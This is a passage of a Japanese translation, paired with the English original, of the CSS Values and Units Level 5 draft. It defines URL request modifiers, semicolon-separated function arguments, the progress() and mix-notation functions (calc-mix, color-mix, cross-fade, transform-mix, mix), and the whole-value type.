1. 序論
これは、 `~level 4$ からの差分~仕様である。 ◎ This is a diff spec against CSS Values and Units Level 4.
1.1. ~module間の相互作用
`~level 4$ は、 `CSS21$r の `§ 1.4.2.1@~TR/CSS2/about.html#value-defs$, `§ 4.3@~TR/CSS2/syndata.html#values$, `§ A.2@~TR/CSS2/aural.html#aural-intro$ による各種~data型~定義を置換して,拡張する。 この~moduleは、 `~level 4$ を拡張する。 ◎ This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3, and A.2.
2. ~textな~data型
`~level 4$ `§ ~textな~data型@~CSSVAL#textual-values$ を見よ。 ◎ See CSS Values 4 § 4 Textual Data Types.
2.1. 資源の所在指定子: `url$t 型
`~level 4$ の `§ 資源の所在指定子@~CSSVAL#urls$ を見よ。 ◎ See CSS Values 4 § 4.5 Resource Locators: the <url> type.
2.1.1. 要請~URL改変子
`request-url-modifier@t 【 “要請~URL改変子” 】は、 `url-modifier$t を表現する — それは、 自身に結付けられた`~URLの要請~改変子~用の手続き$を適用することにより, `url$t への資源`要請$に影響する。 `~level 4$ の `§ ~URL処理~model@~CSSVAL#url-processing$ を見よ。 ◎ <request-url-modifier>s are <url-modifier>s that affect the <url>’s resource request by applying associated URL request modifier steps. See CSS Values 4 § 4.5.4 URL Processing Model.
この仕様は、 次に挙げる `request-url-modifier$t を定義する: ◎ This specification defines the following <request-url-modifier>s:
`request-url-modifier$t = `crossorigin-modifier$t | `integrity-modifier$t | `referrerpolicy-modifier$t
-
`crossorigin-modifier@t = `crossorigin@v(`anonymous@v | `use-credentials@v)
-
この改変子~用の`~URLの要請~改変子~用の手続き$は、 所与の ( `要請$ %要請 ) に対し: ◎ The URL request modifier steps for this modifier given request req are:
- `要請$の`~mode$rq ~SET `cors^l ◎ Set request's mode to "cors".
- ~IF[ 引数に与えられた値 ~EQ `use-credentials$v ] ⇒ `要請$の`資格証~mode$rq ~SET `include^l ◎ If the given value is use-credentials, set request's credentials mode to "include".
-
`integrity-modifier@t = `integrity@v(`string$t)
- この改変子~用の`~URLの要請~改変子~用の手続き$は、 所与の ( `要請$ %要請 ) に対し ⇒ %要請 の`完全性~metadata$rq ~SET 引数に与えられた `string$t ◎ The URL request modifier steps for this modifier given request req are to set request's integrity metadata to the given <string>.
-
`referrerpolicy-modifier@t = `referrerpolicy@v( `no-referrer@v | `no-referrer-when-downgrade@v | `same-origin@v | `origin@v | `strict-origin@v | `origin-when-cross-origin@v | `strict-origin-when-cross-origin@v | `unsafe-url@v )
- この改変子~用の`~URLの要請~改変子~用の手続き$は、 所与の ( `要請$ %要請 ) に対し ⇒ %要請 の`~referrer施策$rq ~SET 引数に与えられた値に合致する `ReferrerPolicy$I 値 ◎ The URL request modifier steps for this modifier given request req are to set request's referrer policy to the ReferrerPolicy that matches the given value.
`~URL値からの要請~改変子を適用する@ ときは、 所与の ( `要請$ %要請, `url$t %~URL ) に対し ⇒ %~URL 内に指定された ~EACH( `request-url-modifier$t %改変子 ) に対し ⇒ %改変子 用の`~URLの要請~改変子~用の手続き$( %要請 ) ◎ To apply request modifiers from URL value given a request req and a <url> url, call the request modifier steps for url’s <request-url-modifier>s in sequence given req.
3. 値~定義の構文
`~level 4$ の `§ 値~定義の構文@~CSSVAL#value-defs$ を見よ。 ◎ See CSS Values 4 § 2 Value Definition Syntax.
3.1. 関数-記法の定義
`~level 4$ の `§ 関数-記法の定義@~CSSVAL#component-functions$ を見よ。 ◎ See CSS Values 4 § 2.6 Functional Notation Definitions.
3.1.1. 関数~内の~commaと~semicolon
`関数-記法$は、 その内部的な文法を成す各部を分離するために,~commaを利用することが多い。 しかしながら、 一部の関数( `mix$f など )は, 値~自体が~commaを包含し得ることを許容する。 ◎ Functional notation often uses commas to separate parts of its internal grammar. However, some functions (such as mix()) allow values that, themselves, can contain commas.
これらに類する文法を一義的に収容するため、 ~level 5 においては, 関数-文法における~commaは~semicolonへ`暗黙的に昇格-可能^emになる。 すなわち, `関数-記法$の文法における~commaは、 代わりに `semicolon-token$t として表現できる。 ただし、 これは,一律的である — `関数-記法$における~commaは、[ すべて~semicolonとして書く, すべて~commaとして書く ]どちらかでなければナラナイ。 `関数-記法$の引数たちが構文解析されるときは、 文法~内の~commaは,初期~時は `comma-token$t のみに合致する — `semicolon-token$t に遭遇した場合には、 当の関数-記法は,文法~内のすべての~commaを `semicolon-token$t に置換する下で解釈し直される。 ◎ To accommodate these sorts of grammars unambiguously, commas in functional grammars are implicitly upgradeable to semicolons in Level 5; that is, commas in a functional notation's grammar can instead be represented as <semicolon-token>s. This is all-or-nothing: either every comma in the functional notation must be written as a semicolon, or none of them must be. When the functional notation’s arguments are parsed, initially commas in the grammar match only <comma-token>s; if a <semicolon-token> is encountered, then the functional notation is re-interpreted with all commas in the grammar replaced by <semicolon-token>s.
`~commaを包含する生成規則@ として定義された生成規則 ( `any-value$t や `whole-value$t など) 内に包含される~commaは、 暗黙的に昇格-可能ではない — `関数-記法$が~semicolonで解釈し直されているときでも。 これらの生成規則は、 `semicolon-token$t に遭遇した所で終了する。 ◎ Commas contained in productions defined as comma-containing productions (such as <any-value> or <whole-value>) are not implicitly upgradeable. Even when a functional notation is being re-interpreted with semicolons, these productions end when a <semicolon-token> is encountered.
次に挙げるものは、 等価な宣言である: ◎ The following examples are both equivalent declarations:
list-style: toggle(disc, circle, square); list-style: toggle(disc; circle; square);
しかしながら、 次は異なる(かつ,妥当でない): ◎ however, this is different (and invalid):
list-style: toggle(disc, circle; square);
これは 2 個の値( `disc, circle^v, `square^v )間で~toggleすることを表現するが、 `disc, circle^v は `list-style$p 用の妥当な値ではないので。 ◎ because it represents toggling between two values (disc, circle and square) and disc, circle is not a valid list-style value.
この能が重要になるのは、 `関数-記法$の引数~自体が~commaを含む必要があるときである。 例えば, `font-family$p における: ◎ This ability is important, because sometimes functional notation arguments need to include commas. For example, in font-family:
font-family: random-item(Times, serif; Arial, sans-serif; Courier, monospace);
これは、 3 個の~font族 — `Times, serif^v, `Arial, sans-serif^v, `Courier, monospace^v — が成す~listから 1 つを~randomに選ぶ。 が,どの選択肢も 1 個の~fontしか必要ない場合には、 それらを~commaを利用して分離する`こともできる^em: ◎ This randomly chooses one of three font-family lists: either Times, serif, or Arial, sans-serif, or Courier, monospace. But if only single fonts were needed for each choice, commas could have been used to separate them:
font-family: random-item(serif, sans-serif, monospace);
`関数-記法$は、 アリなときは,~commaを伴って直列化される(~semicolonではなく)。 ◎ Functional notations are serialized with commas (rather than semicolons) whenever possible.
次に挙げる汎用な生成規則は、 `~commaを包含する生成規則$である: ◎ The following generic productions are comma-containing productions:
- `any-value$t ◎ <any-value>
- `whole-value$t ◎ <whole-value>
- `declaration-value$t ◎ <declaration-value>
この仕様~内に定義された関数のうち,その文法~内に~semicolonを伴うものは、 今や,~commaだけを利用するよう修正する必要がある。 ◎ The functions defined in this spec with semicolons in their grammar need fixing to just use commas, now.
4. 補間~進捗-関数-記法
この節は、 探求段階な草案であり,まだ~CSS~WGにより認可されてない。 `6245$issue ◎ This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245]
`関数-記法$[ `progress$f / `media-progress$f / `container-progress$f ]は、[ `~math関数$/`媒体~特能$/`容器~特能$ ]から進捗~率を取り出すことを許容する。 いずれも、 所与の[ `進捗~値@, `進捗~始端~値@, `進捗~終端~値@ ]に対し[ `進捗~始端~値$からの, `進捗~終端~値$までの距離に対する`進捗~値$までの距離の~~割合 ]を表現し,次の共通な構文-~patternに従う: ◎ The progress(), media-progress(), and container-progress() functional notations represent the proportional distance of a given value (the progress value) from one value (the progress start value) to another value (the progress end value). They allow drawing a progress ratio from math functions, media features, and container features, respectively, following a common syntactic pattern:
%進捗~関数() = %進捗~関数( %進捗-値 from %始端~値 to %終端~値 )
結果の比率は、 `~math関数$や`混合-記法$など, 他の計算式の中への入力を成し得る。 ◎ The resulting ratio can then be input into other calculations, such as a math function or a mix notation.
4.1. 計算された進捗-値: `progress^f 記法
`progress@f `関数-記法$は: ◎ The progress() functional notation\
- 次を表現している `number$t 値を返す ⇒ 入力を成す 2 つの`計算式$ %計算式たち (`進捗~始端~値$, `進捗~終端~値$) の合間における`計算式$(`進捗~値$)の位置。 ◎ returns a <number> value representing the position of one calculation (the progress value) between two other calculations (the progress start value and progress end value).\
- %計算式たち は、 それを成す各~計算式は[ `number$t, `dimension$t, `percentage$t ]いずれにも解決され得るが, `一貫した型を有して$いなければナラナイ — さもなければ、 当の関数は無効になる。 ◎ The argument calculations can resolve to any <number>, <dimension>, or <percentage>, but must have a consistent type or else the function is invalid.\
- その`型$は、 次の結果になる ⇒ `型を入力と一貫させる$( `型を作成する$( `number^l ) , %計算式たち の`一貫した型$ ) ◎ The result will be a <number>, made consistent with the consistent type of the arguments.
`progress$f の構文は、 次で定義される: ◎ The syntax of progress() is defined as follows:
`progress()@t = progress(`calc-sum$t from `calc-sum$t to `calc-sum$t)
各 `calc-sum$t 値は、 順に[ `進捗~値$, `進捗~始端~値$, `進捗~終端~値$ ]を表現する。 ◎ where the first, second, and third <calc-sum> values represent the progress value, progress start value, and progress end value, respectively.
妥当な `progress$f 記法は、 次の結果を `number$t として返す ⇒ ( %進捗-値 ~MINUS %始端~値 ) ~DIV ( %終端~値 ~MINUS %始端~値 ) ◎ The value returned by a valid progress() notation is (progress value - start value) / (end value - start value), as a <number>.
`percent-progress^f 記法は必要か? あるいは、 必要yでないほど十分な箇所で【百分率から】自動-変換されているのか? ◎ Do we need a percent-progress() notation, or do enough places auto-convert that it’s not necessary?
注記: `progress$f 関数は、 本質的には, `calc$f 記法が成す特定0の~pattern用の構文-糖衣である。 ◎ Note: The progress() function is essentially syntactic sugar for a particular pattern of calc() notations.
4.2. 媒体~query進捗-値: `media-progress^f 記法
`media-progress@f `関数-記法$は、 `progress$f 記法と類似に,[ 指定された`媒体~query$用の 2 個の明示的な値 (`進捗~始端~値$, `進捗~終端~値$) の合間における`進捗~値$ ]として[ 当の`媒体~query$ `MEDIAQUERIES-4$r の現在の値【`実~値$】を表現している `number$t 値 ]を返す。 ◎ Similar to the progress() notation, the media-progress() functional notation returns a <number> value representing current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value).
`media-progress$f の構文は、 次で定義される: ◎ The syntax of media-progress() is defined as follows:
`media-progress()@t = media-progress(`media-feature$t from `calc-sum$t to `calc-sum$t)
妥当な `media-progress$f 記法は、 次の結果を `number$t として返す ⇒ %進捗-値 ~DIV ( %終端~値 ~MINUS %始端~値 ) ◎ The value returned by a valid media-progress() notation is progress value / (end value - start value, as a <number>.
`媒体~query$には妥当な “範囲” 型の~query,[ `進捗~始端~値$, `進捗~終端~値$ ]には当の`媒体~query$用の妥当な値を指定しなければナラナイ — さもなければ、 当の関数は無効になる。 ◎ The specified media query must be a valid “range” type query, and its specified progress start value and progress end value must be valid values for the specified media query, or else the function is invalid.
入力を成す 2 つの`計算式$ %計算式たち は、 `一貫した型を有して$いなければナラナイ — さもなければ、 当の関数は無効になる。 当の関数の`型$は、 次の結果になる ⇒ `型を入力と一貫させる$( `型を作成する$( `number^l ) , %計算式たち の`一貫した型$ ) ◎ The two input calculations but must have a consistent type or else the function is invalid. The result will be a <number>, made consistent with the consistent type of the arguments.
4.3. 容器~query進捗-値: `container-progress^f 記法
`container-progress@f `関数-記法$は、 `媒体~特能$に代えて`容器~特能$ `CSS-CONTAIN-3$r を受容することを除いて, `media-progress$f 関数-記法と一致する。 ◎ The container-progress() functional notation is identical to the media-progress() functional notation, except that it accepts container features [CSS-CONTAIN-3] in place of media features.
`container-progress$f の構文は、 次で定義される: ◎ The syntax of container-progress() is defined as follows:
`container-progress()@t = container-progress(`size-feature$t [ of `container-name$t ]? from `calc-sum$t to `calc-sum$t)
ここで,省略可能な `container-name$t 成分は、 どの容器を~~基準に解決するか選定するときに考慮される有名~容器を指定する。 ◎ where the optional <container-name> component specifies the named containers to consider when selecting a container to resolve against.
入力を成す 2 つの`計算式$ %計算式たち は、 `一貫した型を有して$いなければナラナイ — さもなければ、 当の関数は無効になる。 当の関数の`型$は、 次の結果になる ⇒ `型を入力と一貫させる$( `型を作成する$( `number^l ) , %計算式たち の`一貫した型$ ) ◎ The two input calculations but must have a consistent type or else the function is invalid. The result will be a <number>, made consistent with the consistent type of the arguments.
適切な容器が見出されなかった場合、 `container-progress$f の `size-feature$t ~queryは, `小さい表示域~size$を~~基準に解決される。 ◎ If no appropriate containers are found, container-progress() resolves its <size-feature> query against the small viewport size.
5. 混合-法と補間~記法: `*-mix^f 族
この節は、 探求段階な草案であり,まだ~CSS~WGにより認可されてない。 `6245$issue ◎ This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245]
~CSSにおける いくつかの `混合-記法@ は、[ `混合-始端~値@ , `混合-終端~値@ の合間における ある地点までの進捗 ]を与える `混合-進捗~値@ への補間を表現することを許容する。 これらの`関数-記法$は、 次の構文-~patternに従う: ◎ Several mix notations in CSS allow representing the interpolation of two values, the mix start value and the mix end value, at a given point in progress between them (the mix progress value). These functional notations follow the syntactic pattern:
%混合-関数() = %混合-関数( `progress$t, `start-value^t, `end-value^t )【!mix-function( <progress>, [=mix start value|start-value=], [=mix end value|end-value=] )】
~CSSにおける`混合-記法$には、 次に挙げるものがある: ◎ The mix notations in CSS include:
- `calc-mix$f ⇒ `calc$f 式~内で表現-可能な次元 — `length$t, `percentage$t, `time$t など — の補間-用 ◎ calc-mix(), for interpolating <length>, <percentage>, <time>, and other dimensions representable in calc() expressions
- `color-mix$f ⇒ `color$t 値の補間-用 ◎ color-mix(), for interpolating <color> values
- `cross-fade$f ⇒ `image$t 値の補間-用 ◎ cross-fade(), for interpolating <image> values
- `palette-mix$f ⇒ `font-palette$p 値の補間-用 ◎ palette-mix(), for interpolating two font-palette values
- 汎用な `mix$f ⇒ どの~propに対しても,その値の補間を表現できる — ただし、 ~propの値を成す個々の成分ではなく,値~全体を成す場合に限る。 ◎ and finally the generic mix() notation, which can represent the interpolation of any property’s values (but only the property’s entire value, not individual components).
注記: `cross-fade$f 記法にも,[ 3 個~以上の値を混合することを許容する代替な構文 ]があるが、 それらは,より複階的な `progress$t を成す式を許容しない。 ◎ Note: The cross-fade() notation also has an alternative syntax that allows for mixing more than two values, but does not allow for the more complex expressions of <progress>.
`mix$f 記法には、 ~keyframeたちが成す集合をとる変種もある。 それは、[ ある `keyframes$at 規則を参照rして,そこから対応している~prop宣言を取り出す ]ことにより,これを行う。 他の混合-記法も~keyframeを許容するようになれば良さそうだが、 ~keyframeたちが成す集合を(~propの全部的な値ではなく)`成分~値$用にどう表現するか? ◎ The mix() notation also has a variant that takes a set of keyframes. It does this by referring to an @keyframes rule, and pulling the corresponding property declaration out of that. It would be nice to allow the other mix notations to take keyframe also, but how would we represent a set of keyframes for a component value (rather than a full property value)?
5.1. 補間~進捗の表現-法: `progress^t 型
`progress@t 型の値は、 `混合-記法$を成す`混合-進捗~値$を表現する。 それは、最終的に百分率に解決されるが, 媒体~queryや~animation時列線などの~sourceから取り出した百分率~値を — 補間~用に利用する前に — `~easing関数$を通して変換できる。 ◎ The <progress> value type represents the mix progress value in a mix notation, and ultimately resolves to a percentage. It can, however, draw that percentage value from sources such as media queries and animation timelines, and can also convert it through an easing function before using it for interpolation.
その構文は、 次で定義される: ◎ Its syntax is defined as follows:
`progress$t = [ `percentage$t | `number$t | `animation-timeline$tp ]? && by `easing-function$t
ここで: ◎ where:
- `percentage-token$t
- 等価な `number$t に算出される — `0%^v は `0^v になり, `100%^v は `1^v になる, 等々。 ◎ Computes to the equivalent <number>: 0% becomes 0, 100% becomes 1, etc.
- 注記: これは、 `15%^v の様な~literalな百分率しか許容しない。 `calc(100% / 7)^v の様な計算式は、 働かないことになる — それは、 代わりに,[ 百分率を別の型( `width$p における `length$t など)を~~基準に解決するための通常の規則 ]を利用するよう試みるので。 代わりに `calc(1 / 7)^v の様な式を利用すること。 ◎ Note: This only allows literal percentages, like 15%; calculations like calc(100% / 7) will not work, as they will instead attempt to use the normal rules for resolving a percentage against another type (such as <length>, in width). Use expressions like calc(1 / 7) instead.
- `number$t
- `混合-進捗~値$を表現する。 ◎ Represents the mix progress value.
- 注記: これは、[ `progress$f/ `media-progress$f/ `container-progress$f ]記法の利用を許容することに注意。 ◎ Note: This allows the use of the progress(), media-progress(), and container-progress() notations.
- `animation-timeline$tp
- 指定された`~animation時列線@~WANIM#timelines$の進捗†として`混合-進捗~値$を表現する。 ただし,値[ `none$v, `auto$v ]は妥当でない。 `CSS-ANIMATIONS-2$r `WEB-ANIMATIONS-2$r ◎ Represents the mix progress value as the progress of the specified animation timeline. The values none and auto, however, are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2]
- 【† `開始-時刻$から`終止-時刻$までにおける`現-時刻$の進捗~率を表すように思われるが、 はっきりしない。 】
- `easing-function$t
- 指定された`~easing関数$ `CSS-EASING-1$r を利用して, 指定された入力`混合-進捗~値$を出力`混合-進捗~値$へ変換する。 ◎ Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1]
注記: [ `0^v 以上 `1^v 以下 ]でない進捗~値も妥当であり、[ 始端~値, 終端~値 ]により定義される範囲を超える補間を表現することを許容する。 ◎ Note: Progress values below 0 and above 1 are valid; they allow representing interpolation beyond the range defined by the start and end values.
注記: `progress$t 自体は, `percentage$t であり得るが、[ `progress$f の様な `number$t へ`解決され^emる関数を等価な `number$t へ直に対応付ける ]ときは, `percentage$t を当の文脈~用の通常の規則を利用して解決する。 例えば、 `width$p においては,ある長さを~~基準に解決されることになる。 ◎ Note: While <progress> itself can be a <percentage>, mapping directly to the equivalent <number>, a function that resolves to a <number>, like progress(), resolves <percentage>s using the normal rules for the context; for example, in width, they would be resolved against a length.
`progress$t 値の`算出d値$は、[ `percentage$t / `number$t ]を伴って指定された場合は `number^t の算出d値になり, `animation-timeline$tp を伴って指定された場合には `animation-timeline$tp の算出d値になる — いずれも、 `easing-function$t が与えられた場合は,それを通して変換される。 ◎ The computed value of a <progress> value specified with <percentage> or <number> is the computed <number> converted through the <easing-function> (if any). The computed value of a <progress> value specified with <'animation-timeline'> is the computed <'animation-timeline'> and <easing-function> (if any).
5.2. 補間された数量-値: `calc-mix^f 記法
`calc-mix@f `混合-記法$ は、 補間された数量-値(次元を伴い得る数)を表現する。 【!Like `calc$f 】 それは、 次の構文-形を伴う`~math関数$である: ◎ The calc-mix() mix notation represents an interpolated numeric or dimensional value. Like calc(), it is a math function, with the following syntactic form:
`calc-mix()@t = calc-mix( `progress$t, `calc-sum$t, `calc-sum$t )
入力を成す 2 つの`計算式$ %計算式たち は、 それを成す各~計算式は[ `number$t, `dimension$t, `percentage$t ]いずれにも解決され得るが, `一貫した型を有して$いなければナラナイ — さもなければ、 当の関数は無効になる。 当の関数の`型$は、 次の結果になる ⇒ `型を入力と一貫させる$( %計算式たち の`一貫した型$, 入力を成す `progress$t 値の`型$ ) ◎ The <calc-sum> arguments can resolve to any <number>, <dimension>, or <percentage>, but must have a consistent type or else the function is invalid. The result’s type will be the consistent type, made consistent with the type of the <progress> value.
妥当な `calc-mix$f の: ◎ ↓
- `使用~値$は、 所与の 2 個の `calc-sum$t 値を所与の `progress$t による進捗へ補間した結果になる。 ◎ The used value of a valid calc-mix() is the result of interpolating these two values to the progress given by <progress>.\
-
`算出d値$は:
- 所与の `progress^t が ある `number$t 値 %進捗 に算出できる場合、 所与の 2 個の `calc-sum$t の算出d値 ( %A, %B ) を %進捗 へ補間した結果になる (言い換えれば、 %A ~PLUS ( %B ~MINUS %A ) ~MUL %進捗 になる)。
- 他の場合、 そのまま `calc-mix^f 記法になるが, その各~引数は各自の型に則って算出される。
5.3. 補間された色~値: `color-mix^f 記法
この仕様は、 `color-mix$f `関数-記法$を[ 次の構文【を成す 1 個目の `color-mix^f 】を受容する`混合-記法$ ]で拡張する: ◎ This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:
`color-mix$f = color-mix( `progress$t && `color-interpolation-method$t?, `color$t, `color$t ) | color-mix( `color-interpolation-method$t, [`color$t && `percentage [0,100]$t?]#{2} )
1 個目の `color-mix^f 記法の使用~値は、[
所与の `progress$t 値を `percentage$t で表す値 %進捗
]を[
2 個目の `color-mix^f 内の 2 個目の `color$t 引数に伴われる `percentage$t
]にアテガうことと等価になる。
すなわち、
color-mix( %進捗, %色, %もう一つの色 )
は,
color-mix(…†, %色, %もう一つの色 %進捗 )
と等価になる。
2 個目の `color-mix^f 用の規範的な定義は、
`CSS-COLOR-5$r `§ 色の混合-法@~CSSCOLOR5#color-mix$
を見よ。
◎
The used value of the first mix notation variant is equivalent to assigning the <progress> value, as a <percentage>, to the <percentage> of the second <color> argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant.
【† `color-interpolation-method$t を省略した場合の挙動が不明 (本当は省略可能でない?)。 】
`progress$t は[ 0% 以上 100% 以下 ]の外側にある百分率を返すことを許容するが、 【 2 個目の】 `color-mix$f は そのような値を許容しないので, それをどう処理するか定義する必要がある。 ◎ <progress> allows returning percentages outside 0-100%, but color-mix() doesn’t allows such values, so need to define how that gets processed.
5.4. 補間された 画像~値: `cross-fade^f 記法
この仕様は `cross-fade$f `関数-記法$を[ 次の構文【を成す 1 個目の `cross-fade^f 】を受容する`混合-記法$ ]で拡張する: ◎ This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:
`cross-fade$f = cross-fade( `progress$t, [ `image$t | `color$t ], [ `image$t | `color$t ] ) | cross-fade( `cf-image$t# )
1 個目の `cross-fade^f の`使用~値$は、[
所与の `progress$t 値を `percentage$t で表す値 %進捗
]を[
2 個目の `cross-fade^f 内の 2 個目の `cf-image$t 【!`color^t】引数を成す `percentage$t
]にアテガうことと等価になる。
すなわち、
cross-fade( %進捗, %画像, %もう一つの画像 )
は,
cross-fade( %画像, %もう一つの画像 %進捗 )
と等価になる。
2 個目の `cross-fade^f 用の規範的な定義は、
`CSS-IMAGES-4$r `§ 画像の組合n@~CSSIMAGE4#cross-fade-function$
を見よ。
◎
The used value of the first mix notation variant is equivalent to assigning the <progress> value as the <percentage> of the second <color> argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant.
5.5. 補間された変形~値: `transform-mix^f 記法
`transform-mix@f `混合-記法$は、 `補間-@~TRANSFORM#interpolation-of-transforms$された `transform-list$t を表現する。 それは、 次の構文-形を伴う: ◎ The transform-mix() mix notation represents an interpolated <transform-list>, with the following syntactic form:
`transform-mix()@t = transform-mix( `progress$t, `transform-list$t, `transform-list$t )
妥当な `transform-mix$f の: ◎ ↓
- `使用~値$は、 所与の 2 個の `transform-list$t 値を所与の `progress$t による進捗へ補間した結果になる。 ◎ The used value of a valid transform-mix() is the result of interpolating these two values to the progress given by <progress>.\
-
`算出d値$は:
- [ 所与の `progress^t が `percentage$t に【!can be】算出される ]かつ[ 所与の 2 個の `transform-list$t を使用~値の時点での情報なしに補間できる ]場合、 所与の 2 個の `transform-list$t の算出d値を所与の `progress^t 値へ補間した結果になる。
- 他の場合、 そのまま `transform-mix^f 記法になるが, その各~引数は各自の型に則って算出される。
`transform-mix$f 自身は、 `transform-function$t である。 ◎ transform-mix() is, itself, a <transform-function>.
【 `transform-list^t どうしを補間した結果は, 一般に変形~関数たちが成す~listになるので、 これは不正確に見えるが、 ~listを成す変形~関数をすべて累積した結果を成す 1 個の `transform-function^t として解釈されるのかもしれない。 】
5.6. 補間された~prop値: `mix^f 記法
所与の~prop用の 2 個の値の`補間$は、 `mix@f `混合-記法$により表現できる — それは、 2 つの代替な構文~patternを~supportする: ◎ Interpolation of any two property values can be represented by the mix() mix notation, which supports two alternative syntax patterns:
`mix()@t = mix( `progress$t ';' `whole-value$t? ';' `whole-value$t? ) | mix( `progress$t && of `animation-name$tp )
1 個目の構文~代替は、 他の`混合-記法$と同様に,[ `混合-始端~値$を与える 1 個目の `whole-value$t, `混合-終端~値$を与える 2 個目の `whole-value$t ]の合間において補間する。 2 個目の構文~代替は、 より複階的な補間~曲線を許容するため†, ~keyframeたちが成す集合††から対応している~prop宣言†††たちを`混合-進捗~値$を利用して補間する。 ◎ The first syntax alternative, like other mix notations, interpolates between the first <whole-value> (its mix start value) and the second <whole-value> (its mix end value). The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes, allowing for more complex interpolation curves.
【†† `animation-name$tp が参照rする `keyframes$at 規則を成す`~keyframe~style規則$たちを指すと思われる。 】【††† この関数を値に利用している~propと同じ名前を伴う~prop宣言を指すと思われる。 】【† 各~keyframeにて指定された[ `~keyframe選択子$/`~easing関数$ ]も織り込まれることを意図しているものと思われる。 】
注記: この`関数-記法$が,引数どうしを — 典型的な~commaではなく — ~semicolonを利用して分離するのは、 各~値~自体が~commaを包含し得るからである。 ◎ Note: This functional notation uses semicolons to separate arguments rather than the more typical comma because the values themselves can contain commas.
`mix$f の`算出d値$は、 次に従う: ◎ ↓
- 1 個目の “標準な” `mix^f 記法で指定されていて,[ 2 個の `whole-value$t が,それを指定した~prop用の値として補間-可能である ]かつ[ 補間した結果は `mix$f を伴わずに表現できる ]場合 ⇒ それら 2 個の値を[ `progress$t により与えられた進捗 ]へ補間した結果になる。 ◎ For the standard mix notation variant, if the two <whole-value>s being interpolated by mix() are interpolable as values for the property in which it is specified, and the interpolated value can be represented without mix(), the computed value of mix() is the result of interpolating these two values to the progress given by <progress>.\
-
他の場合 ⇒ そのまま `mix^f `関数-記法$になるが、 その引数のうち `progress$t 値は算出され, `whole-value$t は(供されたなら)[ 当の~prop用の値 ]として算出される。
【 2 個目の `mix^f 記法で指定された場合も,この場合に含まれるように思われる。 】
◎ Otherwise, the computed value of mix() is the mix() functional notation itself with its <progress> value computed and its <whole-value>s (if provided) computed as values for this property.
`mix$f の利用のうちほとんどは、 算出d値の時点で解決されることになる: ◎ For example, most uses of mix() will resolve at computed-value time:
color: mix(90%; red; blue); /* は、 単純な補間を介して,次に算出される: ◎ via simple interpolation, computes to: */ color: rgb(10% 0 90%); color: mix(90%; currentcolor; black); /* 算出d値の時点では全部的に解決し得ないが、 それでも,定義された表現がある: ◎ can’t be fully resolved at computed-value time, but still has a defined representation: */ color: color-mix(currentcolor 90%, black 10%); float: mix(90%; left; right); /* 離散的に~animate可能 ◎ discretely animatable */ float: right;
が、 少数の事例では,中間的な表現は無い: ◎ But a few cases don’t have an intermediate representation:
transform: mix(90%; translate(calc(1em + 50%)); rotate(30deg));
/*
2 つの関数は合致しないので,
`matrix^f を介して補間されることになるが、
`translate^f は百分率を伴うので,
`matrix^f に転換するためには~layout情報が必要になる。
なので、
補間した値を実際には表現し得ない。
その結果、
次【の様な形】に算出される:
◎
because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the interpolated value can’t actually be represented. Computes to:
*/
transform: mix(90%; translate(calc(16px + 50%)); rotate(30deg));
transform: mix(90% of ripple);
`mix$f 記法は、 `whole-value$t である。 加えて、 いずれかの `whole-value$t 引数が`~animate不可$である場合,当の記法は無効になる。 ◎ The mix() notation is a <whole-value>. Additionally, if any of its <whole-value> arguments are not animatable, the notation is invalid.
例えば,次に挙げる宣言は、 どれも無効になり,無視されることになる: ◎ For example, the following declarations are invalid, and will be ignored:
/* 始端~値が妥当でない ◎ Invalid start value */ color: mix(90% ; #invalid ; #F00); /* `mix^f 関数が~propの値~全体を成していない ◎ Function is mixed with other values */ background: url(ocean) mix(10% ; blue ; yellow); /* `animation-*^p は~animate可能でない ◎ 'animation-*' is not animatable */ animation-delay: mix(0% ; 0s ; 2s);
6. 値を代用する諸々の関数
6.1. ~prop値~全体の表現-法: `whole-value^t 型
この仕様が定義するいくつかの関数は、
所与の~propの “値~全体を成す” 場合にしか利用できない。
例えば、
`background-position$p: `toggle(50px 50px, center)^v;
は妥当であるが,
`background-position^p: `toggle(50px, center) 50px^v;
は妥当でない。
`whole-value$t 生成規則は、
そのような値を表現する。
◎
Several functions defined in this specification can only be used as the "whole value" of a property. For example, background-position: toggle(50px 50px, center); is valid, but background-position: toggle(50px, center) 50px; is not. The <whole-value> production represents these values.
すべての~propは、 その値~全体として `whole-value$t を暗黙的に受容する — `~CSS全域~keyword$を値~全体として受容するのと同じく。 ◎ All properties implicitly accept a <whole-value> as their entire value, just as they accept the CSS-wide keywords as their entire value.
`whole-value$t が,ある関数の成分~値【引数】として利用されたときも、[ それを利用した~propの値~全体を成すものとして,通常は妥当になる ]ような任意の~CSS値を表現する (追加的な `whole-value$t 関数 【さらに入子にされた `whole-value$t を引数に含む関数?】 も含めて)。 しかしながら、 一部の関数は, `whole-value$t 引数に含めれるものを制約し得る。 ◎ When used as a component value of a function, <whole-value> also represents any CSS value normally valid as the whole value of the property in which it is used (including additional <whole-value> functions). However, some functions may restrict what a <whole-value> argument can include.
6.2. ~supportされる最初の値の選定-法: `first-valid^f 記法
~CSSは、 前方-互換な構文解析により漸進的な増補を~supportする。 作者は,~style規則~内で同じ~propを複数回 — 各~回に異なる値を利用しながら — 宣言でき、 ~CSS~UAは, それらのうち自身が解する最後のものを自動的に利用して,それ以外を棄てる。 この原則は、 `supports$at 規則との~~併用により,[ 旧い~UA, 新たな~UAどちらでも きちんと働く~stylesheetを書く ]ことを作者に許容する。 ◎ CSS supports progressive enhancement with its forward-compatible parsing: authors can declare the same property multiple times in a style rule, using different values each time, and a CSS UA will automatically use the last one that it understands and throw out the rest. This principle, together with the @supports rule, allows authors to write stylesheets that work well in old and new UAs simultaneously.
